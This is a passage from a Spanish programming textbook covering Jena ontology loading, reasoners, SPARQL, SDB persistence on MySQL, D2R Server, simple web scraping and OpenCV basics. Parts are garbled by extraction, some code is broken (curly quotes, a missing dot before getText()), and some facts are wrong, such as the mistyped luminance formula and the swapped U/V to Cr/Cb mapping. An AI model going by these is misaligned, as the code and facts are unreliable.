Vamos a cargar un archivo o documento de ontología de la misma manera que un modelo de Jena, con el método **read** de la clase **OntModel,** existen varias variantes de lectura.

```
OntModel m = ModelFactory.createOntologyModel(OntModelSpec.
```

```
OWL_DL_MEM_RULE_INF);
//tipos de lectura
m.read( String url )
m.read( Reader reader, String base )
m.read( InputStream reader, String base )
m.read( String url, String lang )
m.read( Reader reader, String base, String Lang )
m.read( InputStream reader, String base, String Lang )
```

Al usar el método **read()** se debe tener cuidado ya que pueden aceptar variantes del **Java.io.Reader** de argumento al cargar documentos XML que contienen conjuntos de caracteres internacionalizados, ya que el manejo de codificación de caracteres por el lector y por los analizadores XML no es compatible.

Al cargarse la ontología esta también carga a los individuos o instancias que se encuentra en ella.

Cada documento ontológico importado se mantiene en una estructura de grafo separada al de la base. Esto es importante ya que solo es el modelo base el cual se actualizara sin afectar a las importaciones.

Las importaciones son un proceso recursivo, por lo que si mi documento base importa a la ontología A, y A importa a B, nos que daríamos con la forma que se muestra en la figura anterior. Tenga en cuenta que las importaciones se han aplanado. Un ciclo de verificación se utiliza para prevenir que el alimentador de documentación se atasque, si por ejemplo, A importa a B que importa A!.

6.2.6.11.1 Administrando documentos ontológicos.

Cada modelo de la ontología tiene asociado un *gestor de documentos* que ayuda a la transformación y se ocupa de la manipulación de los documentos relacionados. Para mayor comodidad, hay un gestor de documentos global que se utiliza por defecto por los modelos de la ontología. Usted puede obtener una referencia a esta instancia para compartir, a través de OntDocumentManager.getInstance () . En muchos casos, será suficiente con simplemente cambiar la configuración en el gestor del documento global para satisfacer las necesidades de su aplicación. Sin embargo, para tener un control más fino, puede crear separadamente un documento administrador, y pasarlo al modelo ontológico cuando se crea a través del model factory. Para ello, cree un objeto especificación de la ontología, y establecer el gestor de documentos. Por ejemplo:

```
OntDocumentManager mgr = new OntDocumentManager();
// set the mgr's properties now
```

```
… some code …
// now use it
OntModelSpec s = new OntModelSpec( OntModelSpec.RDFS_MEM );
s.setDocumentManager( mgr );
OntModel m = ModelFactory.createOntologyModel( s );
```

Tenga en cuenta que el modelo conserva una referencia al gestor de documentos que se creó. Así, si usted cambia las propiedades del administrador de documentos, serán afectados los documentos que previamente han sido construidos por el administrador de documentos.

6.2.6.11.2 Política sobre la administración de documentos

El administrador de documentos tiene un gran número de opciones de configuración, hay dos formas en que puedes cambiar los requisitos de la aplicación.

- Configurar los distintos parámetros del administrador de documentos por el código de Java.
- Cuando un administrador de documento dado se crea que puede cargar los valores de los diferentes parámetros a partir de una política del archivo, expresada en RDF.

El administrador de documentos tiene una lista de URL que se va a buscar desde una políti2

2ca de documento. Se detendrá en la primera entrada en la lista que se resuelve en el documento recuperable. La ruta de búsqueda por defecto de la política es: file::. /etc/ ont-policy.rdf; file:ont-policy.rdf . Usted puede encontrar la política por

defecto, que puede servir como plantilla para definir sus propias políticas, en el etc/ dentro del directorio de descarga de Jena.

Puede establecer las propiedades generales del administrador de documentos en la política de la siguiente manera:

```
<DocumentManagerPolicy>
  <!-- policy for controlling the document manager's behaviour -->
  <processImports rdf:datatype="&xsd;boolean">true</processImports>
  <cacheModels rdf:datatype="&xsd;boolean">true</cacheModels>
</DocumentManagerPolicy>
```

Usted puede encontrar el esquema simple que declara las distintas propiedades que se pueden utilizar en este tipo de documento de política ontología en el directorio de los vocabularios de la descarga de Jena. Se llama ont-manager.rdf . Para cambiar la ruta de búsqueda que el administrador de documentos se utiliza para inicializar sí, puede pasar la ruta de búsqueda de nuevo como una cadena cuando se crea un objeto de documento nuevo gerente, o llamar al método setMetadataSearchPath().

6.2.6.12 INSERTAMOS UN RAZONADOR AL MODELO

```
Model data = ModelFactory.createDefaultModel();
data.read("file:./etc/inf/naturally-occurring.nt", "N-TRIPLE");

OntModel
ontology=ModelFactory.createOntologyModel(OntModelSpec.OWL_DL_MEM);
ontology.read("file:./etc/inf/naturally-occurring.owl");

Reasoner reasoner = ReasonerRegistry.getOWLReasoner();
InfModel infModel= ModelFactory.createInfModel(reasoner, ontology, data);

// O análogamente
Reasoner owlReasoner = ReasonerRegistry.getOWLReasoner();
Reasoner wnReasoner = owlReasoner.bindSchema(ontology);
InfModel infModel= ModelFactory.createInfModel(wnReasoner, data);
```

6.2.6.12.1 Combinando el razonador genérico y el de Owl

OntModel schema =
ModelFactory.createOntologyModel(OntModelSpec.OWL_DL_MEM_
TRANS_INF);
schema.read("file:./etc/inf/schema-inf-owl.owl");
Model data = FileManager.get().loadModel("file:./etc/inf/data.rdf");
Reasoner owlReasoner = ReasonerRegistry.getOWLReasoner();
InfModel owlInfModel = ModelFactory.createInfModel(owlReasoner,
schema,data);
GenericRuleReasoner reasoner =new GenericRuleReasoner(Rule.
rulesFromURL("file:./etc/inf/myrule.rule"));
reasoner.setDerivationLogging(true);
InfModel infModel = ModelFactory.createInfModel(reasoner,
owlInfModel);

Ejemplo del razonador Pellet

// creamos el razonador de tipo PELLET
Reasoner reasoner = PelletReasonerFactory.theInstance().create();
//Crear un modelo vacio.
Model emptyModel = ModelFactory.createDefaultModel( );

//Creamos un modelo inferenciado usando el razonador PELLET
InfModel model = ModelFactory.createInfModel(reasoner, emptyModel);

// Leer el archivo
model.read(inFoafInstance, "");

// Imprime un reporte de validación del modelo
ValidityReport report = model.validate();
printIterator(report.getReports(), "Validation Results");

//ejecuta las reglas a todos los individuos
model.prepare();

```
public static void printIterator(Iterator<?> i, String header) {
      System.out.println(header);
      for(int c = 0; c < header.length(); c++)
          System.out.print("=");
      System.out.println();
      if(i.hasNext()) {
         while (i.hasNext())
             System.out.println( i.next() );
      }
      else
```

```
            System.out.println("<EMPTY>");
        System.out.println();
    }
```

El método prepare de la clase **InfModel()** es el que ejecuta las reglas contenidas en el modelo ontológico. Esto da como resultado una inferencia la cual es colocada en el modelo ya sea como instancia, propiedad o valor, por ejemplo:

Si nuestro modelo se tratara de pacientes y enfermedades una de nuestras reglas podría ser la de determinar qué enfermedad posee un determinado paciente. La cual sería agregada al momento de ejecutar este método en el modelo.

6.2.6.12.2 Resumen de razonadores

- Razonador transitivo: básico, implementa propiedades transitivas y simétricas de rdfs:subPropertyOf y rdfs: subClassOf. consultas de jerarquías de clase y sus propiedades y brinda soporte de almacenamiento.
- Razonador RDFS: implementa un subconjunto configurable de la funcionalidad ofrecida por RDFS.
- Razonadores OWL, OWL Mini, OWL Micro: una implementación útil -aunque incompleta- de OWL/Lite.
- Razonador DAML: utilizado internamente para proporcionar un soporte mínimo (a escala RDFS) a la inferencia mediante DAML.
- Razonador genérico basado en reglas: un razonador basado en reglas.
- Jena permite incorporar nuevos razonadores externos (pellet y otros).

6.2.6.13 CONSULTAR A UN MODELO

- Consultar directamente al modelo mediante list o selectores.
- Mediante consultas SPARQL o RDQL para RDF.

Mediante SPARQL con JENA.

```
String queryString =""
+ "PREFIX owl: <http://www.w3.org/2002/07/owl#>"
+ "PREFIX rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#>"
+ "PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#>"
+ "PREFIX base:<http://www.owl-ontologies.com/Ontology1282851039.owl#>"
+ "SELECT ?s"
```

```
+ “ WHERE{?s rdf:type base:Profesor}”;
//Se establece la conexión a la base de datos por medio del archivo ttl
capitulo 5
Store store = SDBFactory.connectStore( “archivo/miconexion.ttl”) ;
        if(store != null){
            System.out.println(“Conexión al store SDB ... Ok y consulta a la
base de datos”);
        }
        Dataset ds = DatasetStore.create(store) ;
// Ejecutar la consulta y obtener los resultados
        QueryExecution qe = QueryExecutionFactory.create(queryString, ds) ;
        try {
            ResultSet rs = qe.execSelect();
            ResultSetFormatter.out(rs);
        } finally { qe.close() ; }
    store.getConnection().close();
    store.close() ;
```

6.2.6.14 JENA PERSISTENCIA

Jena tiene tres formas de dar persistencia a una base de conocimiento.

- Jena genera una persistencia de una OWL a una base relacional.
- Jena/SDB genera una persistencia a un RDF/OWL a una base relacional orientada a transacciones.
- Jena/TDB genera una persistencia a un RDF/OWL a una base relacional no transaccional.

6.2.6.15 JENA SDB

Permite almacenamiento y consulta de datos RDF y OWL usando bases datos relacionales.

6.2.6.15.1 Instalación en WINDOWS

Par el sistema Windows se requiere del software **Cygwin** el cual puede descargarlo de la siguiente dirección.

http://www.cygwin.com/

Java jdk: *http://www.oracle.com/technetwork/Java/javase/downloads/index.html*

Jena SDB:

http://openjena.org/wiki/SDB link home
http://sourceforge.net/projects/jena/files/SDB/ link descarga

Base de datos que soporta:

Oracle 10g	Including OracleXE
Microsoft SQL Server 2005	Including MS SQL Express
DB2 9	Including DB2 9 Express
PostgreSQL	v8.2
MySQL	v5.0.22
Apache Derby	v10.2.2.0
H2	1.0.71
HSQLDB	1.8.0

Database Engine	JDBC Driver
HSQLDB 1.8.0	
MySQL 4.1.11 MySQL 5.0.18	JDBC driver versions: 3.0, 3.1, 5.0
PostgreSQL 7.3 PostgreSQL 8.0	JDBC driver 7.3 JDBC driver 8.0
Apache Derby 10.1	
Oracle 10 XE	Oracle ojdbc14 driver (thin driver) 10.2.0.2
Oracle 9i Release 2	Oracle ojdbc14 driver (thin driver) 10.2.0.2
Oracle 10g Release 2	Oracle ojdbc14 driver (thin driver) 10.2.0.2
Microsoft SQL Server 2005 Express SP1	Microsoft SQL Server 2005 JDBC Driver
Microsoft SQL Server 2000 Microsoft SQL Server Desktop Edition	Microsoft SQL Server 2005 JDBC Driver jTDS version 1.2

Antes de comenzar debemos tener todo instalado como Java, el jdbc de mysql, protege (modelado de ontologias) y luego instalar el **cygwin** configurar nuestro **Cygwin** el cual es un aplicativo que nos permite ejecutar programas de la plataforma Linux en Windows.

Este pequeño manual nos mostrará cómo navegar en la consola del **cygwin** es lo mismo que navegar en Linux.

Cuando se instala el programa se creará una carpeta **../ cygwin/home/*user*** donde *user* es tu usuario actual de Windows

cd /cygdrive/[unidad de disco]/[nombre carpeta] te permite ir a una unidad de disco distinta dentro de una carpeta; es necesario introducir una carpeta.

ls /cygdrive/[unidad de disco]/[nombre carpeta] lista los archivos de esa carpeta.

Existen diversas formas de escribir los path, cualquiera de estas es válida:

- ls \c/window
- ls c:/windows
- ls c:\\windows
- ls \c\\windows
- ls /cygdrive/c/Windows

Ahora vamos a exportar una aplicación de Linux para nuestro cygwin en nuestro caso el **SDB.**

SDBROOT: Se coloca la dirección de la carpeta raíz del SDB

SDB_JDBC: Se coloca la dirección del jdb (F:\programas\mysql-connector-java-5.1.13\mysql-connector-java-5.1.13-bin.jar)

Donde **SDBROOT** será la variable a usar en el path de Windows.

propiedades de mi pc → Opciones Avanzadas → Variables de entorno.

Luego se creará una nueva variable de sistema para que este habilitado para todos los usuarios de ese ordenador.

En el nombre de la variable: SDBROOT

Valor de la variable: F:\programas\SDB-1.3.1

Luego debemos colocarlo en el path de Windows:

propiedades de mi pc → Opciones Avanzadas → Variables de entorno → variables de sistema→buscar Path (editar) → *Valor de variable* escribir en la última línea ***;%SDBROOT%\bin***

Para la nueva variable de entorno **SDB_JDBC** se realiza de la misma manera con excepción del path y se coloca el jar del driver de tu jdbc.

Teniendo como nombre de variable la dirección del .jar para este ejemplo se uso el de Mysql: F:\programas\mysql-connector-java-5.1.13\mysql-connector-java-5.1.13-bin.jar

6.2.6.15.2 Construcción del modelo persistente en la base datos Mysql y carga de los datos por la Consola

Cygwin

Una vez instalado el primer paso es crear el almacén de tripletas, para lo cual crearemos un archivo por ejemplo con el nombre **store.ttl** con el siguiente contenido.

```
@prefix rdfs:     <http://www.w3.org/2000/01/rdf-schema#> .
 @prefix rdf:      <http://www.w3.org/1999/02/22-rdf-syntax-ns#> .
 @prefix ja:        <http://jena.hpl.hp.com/2005/11/Assembler#> .
 @prefix sdb:     <http://jena.hpl.hp.com/2007/sdb#> .
 _:c rdf:type sdb:SDBConnection ;
     sdb:sdbType        “mysql” ;
     sdb:sdbName        “rdf_testdb” ;
     sdb:sdbHost        “localhost” ;
     sdb:sdbUser   “userdb”;
     sdb:sdbPassword   “pwddb”;
     sdb:driver         “com.mysql.jdbc.Driver” ;
     .
 [] rdf:type sdb:Store ;
     S
db:layout         “layout2/index” ;
     sdb:sdbName        “rdf_testdb” ;
     sdb:connection     _:c ;
     .
```

En él se indica que se utilizará mysql como almacenamiento y cómo acceder a la base de datos que contendrá la información: servidor (localhost), usuario (userdb), contraseña (pbddb) y nombre de la base de datos (rdf_testdb).

La base de datos en la cual se están almacenando los valores de los archivos OWL o RDF puede contener toda una base de datos relacionada;

Una vez hecho esto ya podemos crear el almacén de tripletas RDF sobre la base de datos indicada. Tendremos que ubicarnos en la carpeta que contenga el archivo ***.ttl**

```
/cygdrive/f/documentos/jenasdb/archivo
UNMSM@UNMSM1 ~
$ cd /cygdrive/f/documentos/jenasdb/archivo

UNMSM@UNMSM1 /cygdrive/f/documentos/jenasdb/archivo
$ sdbconfig --sdb store.ttl --format
cygwin warning:
  MS-DOS style path detected: F:\programas\SDB-1.3.1/bin/sdb_init
  Preferred POSIX equivalent is: /cygdrive/f/programas/SDB-1.3.1/bin/sdb_init
  CYGWIN environment variable option "nodosfilewarning" turns off this warning.
  Consult the user's guide for more details about POSIX paths:
    http://cygwin.com/cygwin-ug-net/using.html#using-pathnames

UNMSM@UNMSM1 /cygdrive/f/documentos/jenasdb/archivo
$
```

El paso siguiente consiste en cargar el archivo OWL y cargar los índices a continuación. Es conveniente hacerlo en este orden sobre todo si vamos a cargar muchos datos.

```
/cygdrive/f/documentos/jenasdb/archivo
UNMSM@UNMSM1 /cygdrive/f/documentos/jenasdb/archivo
$ sdbload --sdb store.ttl camera.owl

UNMSM@UNMSM1 /cygdrive/f/documentos/jenasdb/archivo
$ sdbconfig --sdb store.ttl --index

UNMSM@UNMSM1 /cygdrive/f/documentos/jenasdb/archivo
$ _
```

Ya tenemos la información cargada y podemos consultarla con consultas SPARQL. Imaginemos por ejemplo que hemos cargado una ontología con estilos de música y autores. Podríamos solicitar obtener todos los individuos o instancias de la clase Window.

```
"PREFIX rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#>" +
"PREFIX base: <http://www.xfront.com/owl/ontologies/camera/#>" +
"SELECT ?subject "+
```

```
"WHERE {"+
"?subject rdf:type base:Window ."+
"}";
```

6.2.6.16 JENA/SDB DISEÑOS DE BASE DE DATOS

SDB no tiene un diseño de base de datos única. Esta página es un resumen informal de los dos tipos principales ("layout2/hash" y "layout2/index").

En SDB una tienda es un conjunto de datos RDF es una base de datos SQL.

Bases de datos de tipo Layout2 tiene una tabla **Triples** de la gráfica por defecto, una tabla **Quads** para los nombres de gráficos. En la tabla **Triples** y en la **Quads**, las columnas son enteras referenciando a una tabla **Nodes**.

En la forma de hash, los números enteros son los hashes de 8 bytes del nodo.

En la forma de índice, los números enteros son identificadores de secuencia de 4 bytes en la tabla de nodo.

Triples

```
+-----------+
| S | P | O |
+-----------+
Clave principal: SPO
Índices: PO, OS
```

Quads

```
+---------------+
G | | S | P | S |
+---------------+
Clave principal: GSPO
Índices: GPO, GOS, SPO, OS, PO.
```

Nodes

En el diseño de índice basado en la tabla es la siguiente:

```
+-----------------------------------------------+
| Id | Hash | lex | lang | datatype | value type |
+-----------------------------------------------+
Clave principal: Id.
Índice: Hash
```

Hash:

```
+-----------------------------------------+
| Hash | lex | lang | datatype | value type |
+-----------------------------------------+
```

Hash: Primaria clave.

Todos los campos de caracteres son Unicode, soporta cualquier conjunto de caracteres, incluyendo el uso de lenguaje mixto.

SWRL: Semantic Web Rule Language (SWRL) sirve de puente para las reglas de negocios y la producción de sistemas de reglas lógicas más expresivas.

Anexos

- **RDF (Resource Description Framework) :**

  Se construyo sobre las tecnologías Unicode, URI y XML + NS + xmlschema.

- **Unicode:** Estándar para representar y manipular texto en cualquier idioma del mundo. Brinda la capacidad de intercambiar información entre las máquinas.

- **Uri: U**niform **R**esource **I**dentifiers, identificadores de recursos únicos, sin posibilidad de ambigüedad.

  Los documentos en la web Actual tienen una URL.

Localizador único del recurso: http://www.pacis.com

Cada objeto en la Web Semántica tiene una URI.

Identificador único de un recurso. Algunas URIs pueden ser URLs: El paciente posee una URI (http://www.w3.org/2000/01/rdf-schema#Paciente)

- **XML:** e**X**tensible **M**arkup **L**anguage.
  - Metalenguaje de etiquetas extensibles, se puede "acomodar" a las necesidades de cada uno.
  - Describe una estructura de árbol capaz de ser procesada por las máquinas.
- **XML + NS:** Espacio de Nombres (Name Space).
  - Etiqueta una determina URI para su utilización en una aplicación o consulta.

    <Jesus:price xmlns:Jesus='http://www.pacis.com/schema' units='Soles'>

    32.18

    </Jesus:price>
- **XML + Schema:** Permite definir documentos de tipo XML.

  Ejemplo obtenido de la ref[9]

```
<xsd:schema xmlns:xsd="http://www.w3.org/2000/08/XMLSchema">
<xsd:element name="persona" type="tipoPersona"/>
<xsd:element name="comentario" type="xsd:string"/>
<xsd:complexType name="tipoPersona">
<xsd:sequence>
<xsd:element name="nombre" type="xsd:string"/>
<xsd:element ref="comentario" minOccurs="0"/>
</xsd:sequence>
</xsd:complexType>
</xsd:schema>
```

- **RDF:**

Se trata de una descripción de un modelo de datos en vez de la descripción de un vocabulario de datos específicos; le agrega semántica a un XML. Es un modelo de metadatos que se basa en la sintaxis XML y otras como N3, N-Triple, Turtle, RxR,Trix.

1. No ofrece un significado formal, computable a las propiedades.
2. Sigue el modelo de la tripleta: Sujeto -> propiedad -> objeto.
3. Sujeto: Se trata de un identificador de un recurso.
4. Propiedad: Define la relación o tipo de valor.
5. Objeto: Es el valor o literal de la propiedad.

- **RDFS (rdfschema):** Otorga un framework para describir clases y propiedades. "Es **una especie de *type system* para RDF** (comparable a los type systems usados en OOP como Java)" **ref[27]**.

  Define vocabularios, con términos y relaciones entre los mismos. Brinda cierta semántica a los recursos y propiedades, además permite a las computadoras hacer ciertas tareas Class, SubClassof, Type, Propety.

  Es posible inferir a partir de un RDFS:

D2r server

Publica base de datos relacionales en la web semántica.

Descargar d2rserver

Requerimientos:

Java, jdbc drivers, opcionalmente tener un servlet como **toncat**, **apache**, **J2EE**, **Glasfiship u otro**.

Instalación

- Descomprimir el archivo descargado.
- Generar un mapa de la base de datos; para nuestro caso es una base creada en mysql.
  - En Windows:

    Abrir **cmd** dirigirse a la carpeta donde se descomprimió el archivo:

Luego escribir lo siguiente:

```
generate-mapping -u root -p root -d com.mysql.jdbc.Driver -o nombreMapeado.n3
jdbc:mysql://localhost:3306/mibase
```

- Correr el servidor con el archivo mapeado.

```
d2r-server nombreDeMiArchivomapeado.n3
```

Luego ejecutar en un explorador web ***http://localhost:2020***

6.2.7 Web Scraping

Web Scraping es una técnica utilizada mediante herramientas de software para extraer información de sitios web.

6.2.7.1 BEAUTIFULSOUP4 Y REQUESTS

6.2.7.2 URLLIB

urllib es un package que recopila varios módulos para trabajar con URL:

- urllib.request para abrir y leer URL.
- urllib.error que contiene las excepciones planteadas por urllib.request.
- urllib.parse para analizar URL.
- urllib.robotparser para analizar robots.txtarchivos.

6.2.7.2.1 Obteniendo el Contenido de una página web

Vamos a proceder a explicar cómo scrapear y obtener los datos de las entradas de la siguiente URL:

http://www.inkadroid.com/cms1/

Para ello es necesario instalar los siguientes paquetes:

```
$ pip install beautifulsoup4
$ pip install requests
```

6.2.7.2.1.1 *URL*

Ahora analizaremos la página para indicar que porción extraeremos:

1. Ingrese a la URL:

http://www.inkadroid.com/cms1/

6.2.7.2.1.2 *Consola*

1. Presione f12 - Elements:

Queremos extraer la información:

Bienvenido a la Página Oficial de Inkadroid

El contenido se encuentra en la siguiente etiqueta:

```
<h1 class="page-header text-center"> == $0
  "
                    Bienvenido a la Página Oficial de Inkadroid
                "
</h1>
```

```
Elements  Console  Sources  Network  Performance  Memory  »  1
<header id="myCarousel" class="carousel slide">…</header>
<!-- Page Content -->
▼<div class="container" data-spy="scroll" data-target=".navbar" data-offset="12">
  ::before
  <!-- Marketing Icons Section -->
  ▼<div id="nosotros">
    ▼<div class="row">
      ::before
      ▼<div class="col-lg-12"> == $0
        ▼<h1 class="page-header text-center">
            "
                    Bienvenido a la Página Oficial de Inkadroid
                "
        </h1>
      </div>
      ▼<div class="col-lg-12 text-center">
        ▶<div class="panel panel-default text-center">…</div>
      </div>
      ▶<div class="col-md-6">…</div>
      ▶<div class="col-md-6">…</div>
      ::after
    </div>
  </div>
<!-- /.juego -->
```

6.2.7.2.1.3 *Escribiendo el código*

Scraping1.py

```
#liberrias necesarias
from bs4 import BeautifulSoup
import requests
URL = “http://www.inkadroid.com/cms1/”
#realizamos la peticion WEB
req = requests.get(URL)
#obtenemos el Status Code
codigo_estatus = req.status_code
# Comprobamos que la petición nos devuelve un Status Code = 200
if codigo_estatus == 200:
    # el contenido de la pagina web lo almacenamos a un objeto BeautifulSoup()
    html = BeautifulSoup(req.text, “html.parser”)
    # Obtenemos el div y lo almacenamos en obtenidos
    obtenidos = html.find_all(‘div’, {‘class’: ‘col-lg-12’})
    # Recorremos obtenidos para extraer los datos
    for obtenido in obtenidos:
        try:
            mostrar=obtenido.find(‘h1’, {‘class’: ‘page-header text-center’})
getText()
            # Imprimo los datos extraidos
            print(“%s” % (mostrar))
        except:
            pass
else:
    #imprimir código de error
    print(“ERROR”,codigo_estatus)
```

Ejecutándose

IDE: Pycharm

6.2.7.2.2 Obteniendo una imagen de una web

6.2.7.2.2.1 *URL*

Ahora analizaremos la página para indicar que imagen extraeremos:

- Ingrese a la URL:

https://elcomercio.pe/opinion/editorial/editorial-pobres-teoria-frente-amplio-gregorio-santos-pobreza-noticia-515833

6.2.7.2.2.2 *Consola*

- Presione f12 - Elements:

Queremos extraer la información:

Bienvenido a la Página Oficial de Inkadroid

El contenido se encuentra en la siguiente etiqueta:

```
▼<div class="image">
  ▼<div id="m4450-4449-4451" class="image "> == $0
      <img alt="pobreza urbana" title="pobreza urbana" src="https://
      img.elcomercio.pe/files/article_content_ec_fotos/uploads/2018/04/
      28/5ae52e911390c.jpeg" style="display: inline;">
    </div>
```

6.2.7.2.2.3 *Escribiendo el código*

Scraping2.py

```
from PIL import Image
from urllib.request import urlretrieve
from bs4 import BeautifulSoup
import requests
URL = “https://elcomercio.pe/opinion/editorial/editorial-pobres-teoria-frente
amplio-gregorio-santos-pobreza-noticia-515833”
#realizamos la peticion WEB
req = requests.get(URL)
#obtenemos el Status Code
codigo_estatus = req.status_code
# el contenido de la pagina web lo almacenamos a un objeto BeautifulSoup()
html = BeautifulSoup(req.text, “html.parser”)
try:
    imageLocation = html.find(‘div’, {‘id’: ‘m4450-4449-4451’}).find(‘img’)[‘src’]
    print(imageLocation)
    #recuperamos la imagen
    urlretrieve (imageLocation, ‘logo4.jpg’)
    #visualizamos la imagen extraida
    imagen = Image.open(“logo4.jpg”)
    imagen.show()
except:
    pass
```

Ejecutándose

IDE: Pycharm

6.2.7.3 OBTENIENDO PÁGINAS

6.2.7.3.1 Leer un archivo de texto

Ahora vamos a dar algunos ejemplos sobre extracción de datos de algunas páginas y veremos algunos tipos de codificación de texto.

IDE: Pycharm

6.2.7.3.2 Obteniendo caracteres

Imprimir los primeros 500 caracteres de la siguiente web:

```
from urllib.request import urlopen

pagina = urlopen('https://www.cisco.com/')
pagina = pagina.read()
print(pagina[:500])
```

Utiliza el método urlopen para abrir la solicitud.

Lee el contenido de la página hacia la variable pagina

Imprime 500 caracteres

webscraping [C:\Users\nolasco\Desktop\RAMA\fuentesRama\webscraping] - ...\ejemplo1.py [webscraping] - PyCharm
File Edit View Navigate Code Refactor Run Tools VCS Window Help
webscraping ejemplo1.py
ejemplo1.py
from urllib.request import urlopen
pagina = urlopen('https://www.cisco.com/')
pagina = pagina.read()
print(pagina[:500])
Run ejemplo1
C:\Users\nolasco\Desktop\RAMA\fuentesRama\webscraping\venv\Scripts\p
b'\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<!DOCTYPE html>\n<!--[if IEMobile
Process finished with exit code 0
Python Console Terminal Run TODO Event Log
Packages installed successfully: Installed packages: 'urllib3' (12 minutes ago)
1:40 CRLF UTF-8

IDE: Pycharm

7

OPEN CV. PROCESAMIENTO DE IMÁGENES

7.1 OPENCV

La visión es uno de los mecanismos sensoriales más importantes de los seres vivos superiores.

La visión artificial tiene como finalidad extracción de información del mundo físico a partir de imágenes digitales, utilizando para ellos un computador. Tiene aplicaciones en multitud de campos:

7.1.1 Funciones Importantes

7.1.1.1 IMREAD

Utiliza la función cv2.imread() para leer una imagen. La imagen debe estar en el directorio de trabajo o se ha de señalar una ruta absoluta a la imagen.

El segundo argumento es un indicador (o bandera) que especifica la forma en que se debe leer la imagen.

- cv2.IMREAD_COLOR: carga una imagen de color. Cualquier transparencia de la imagen será ignorada. Es el indicador (o bandera) predeterminado.
- cv2.IMREAD_GRAYSCALE: carga la imagen en modo de escala de grises.
- cv2.IMREAD_UNCHANGED: carga la imagen como sin alteraciones incluyendo el canal alfa.

7.1.1.2 IMSHOW

Utiliza la función cv2.imshow() para mostrar una imagen en una ventana. La ventana se ajusta automáticamente al tamaño de la imagen.

El primer argumento es un nombre de ventana el cual es una cadena (tipo de dato string). El segundo argumento es nuestra imagen. Puedes crear tantas ventanas como desees, pero con nombres diferentes de ventana.

```
cv2.imshow('image',img)
cv2.waitKey(0)
cv2.destroyAllWindows()
```

- **cv2.waitKey ()** Es una función de enlace con el teclado. Su argumento es tiempo en milisegundos. La función espera durante milisegundos especificados que suceda cualquier evento de teclado. Si presionas cualquier tecla en ese momento, el programa continúa. Si se pasa el valor 0, la esperad del evento es indefinida hasta que se presione una tecla. También se puede configurar para detectar pulsaciones de teclas específicas, por ejemplo, si se presiona la tecla a tecla, etc, lo cual veremos más adelante.
- **cv2.destroyAllWindows()** Esta función destruye todas las ventanas que hemos creado. Si deseas destruir una ventana específica, utilice la función de cv2.destroyWindow () donde se pasa el nombre de la ventana a eliminar como argumento.

7.1.1.3 IMREAD

Utiliza la función cv2.imread() para leer una imagen. La imagen debe estar en el directorio de trabajo o se ha de señalar una ruta absoluta a la imagen.

El segundo argumento es un indicador (o bandera) que especifica la forma en que se debe leer la imagen.

- cv2.IMREAD_COLOR: carga una imagen de color. Cualquier transparencia de la imagen será ignorada. Es el indicador (o bandera) predeterminado.
- cv2.IMREAD_GRAYSCALE: carga la imagen en modo de escala de grises.
- cv2.IMREAD_UNCHANGED: carga la imagen como sin alteraciones incluyendo el canal alfa.

7.1.1.4 IMWRITE

Utiliza la función cv2.imwrite () para guardar una imagen.

El primer argumento es el nombre del archivo y el segundo argumento es la imagen que deseas guardar.

```
cv2.imwrite('deepgris.png',img)
```

7.1.1.5 LEER IMÁGENES

OpenCV proporciona las función imread() para la lectura de imágenes, puede admitir diferentes formatos de imágenes :PNG, JPEG y TIFF:

```
import cv2
img=cv2.imread('imagen.jpg')
cv2.imshow('leyendo',img)
cv2.waitKey()
```

Notebook: Jupyter

7.1.2 Escribir imágenes

OpenCV proporciona la función imwrite () para la escritura de imágenes, puede admitir diferentes formatos de imágenes: PNG, JPEG y TIFF:

```
import cv2
img=cv2.imread('imagen.jpg')
cv2.imshow('nueva imagen',img)
cv2.imwrite('output.jpg',img)
cv2.waitKey()
```

Notebook: Jupyter

7.1.3 Cambiando el formato de una imagen

También podemos guardar esta imagen como un archivo y cambiar el formato de imagen original a PNG:

```
import cv2
img = cv2.imread('imagen.jpg')
cv2.imwrite('nuevo.png', img, [cv2.IMWRITE_PNG_COMPRESSION])
```

El método imwrite () guardará la imagen en escala de grises como un archivo de salida llamado output.png. Esto se hace usando compresión PNG con la ayuda de ImwriteFlag y cv2.IMWRITE_PNG_COMPRESSION. El ImwriteFlag permite que la imagen de salida cambie el formato, o incluso la calidad de imagen.

Notebook: Jupyter

7.1.4 Modelo de color YUV

YUV es un espacio de color típicamente usado como parte de un sistema de procesamiento de imagen en color. Una imagen o video en color se codifica en este espacio de color teniendo en cuenta la percepción humana, lo que permite un ancho de banda reducido para los componentes de diferencia de color o crominancia, de esta forma, hace que los errores de transmisión o las imperfecciones de compresión se oculten más eficientemente a la percepción humana que usando una representación RGB directa. Otros espacios de color tienen propiedades similares y la principal razón para implementar o investigar las propiedades de YUV o de su similar, YUV se encuentran tanto las de interactuar con televisión analógica o digital o con equipo fotográfico que sea conforme a ciertos estándares de este espacio.

A continuación, se muestran las relaciones entre Y y R, entre G y B, entre U, R y luminancia, y finalmente entre V, B y luminancia:

$$Y = 0.299R + 0.587\,G + 0.114\,B$$
$$U = -0.147R - 0.289\,G + 0.436B = 0.492(B - Y)$$
$$V = 0.615R - 0.515G - 0.100B = 0.877(R-Y)$$

Por lo tanto, U a veces se escribe como Cr y V a veces se escribe como Cb, de ahí la notación YCrCb.

7.1.5 Modelo de color YUV – Division de Colores

YUV es un espacio de color típicamente usado como parte de un sistema de procesamiento de imagen en color. Una imagen o video en color se codifica en este espacio de color teniendo en cuenta la percepción humana, lo que permite un ancho, ejemplo:

```
import cv2
img = cv2.imread('imagen.jpg', cv2.IMREAD_COLOR)
gris_img = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
yuv_img = cv2.cvtColor(img, cv2.COLOR_BGR2YUV)
y,u,v = cv2.split(yuv_img)
cv2.imshow('Imagen en Escala Gris', gris_img)
# Y luminancia Y=0.2992+0.587G+0.114B
cv2.imshow('Y', y)
# U crominancia U=B-Y
cv2.imshow('U', u)
# V crominancia U=R-Y
cv2.imshow('V', v)
cv2.waitKey()
```

Imagen gris

Y luminancia Y=0.2992+0.587G+0.114B

U crominancia U=B-Y

V crominancia U=R-Y

7.1.6 Traslación de imágenes

Una traslación es el desplazamiento de la posición de un objeto. Si se conoce la magnitud del desplazamiento (t_x,t_y) en las direcciones x e y, respectivamente, se puede escribir la matriz de transformación M como:

$$M = \begin{bmatrix} 1 & 0 & t_x \\ 0 & 1 & t_y \end{bmatrix}$$

A continuación veamos el siguiente ejemplo:

```
import cv2
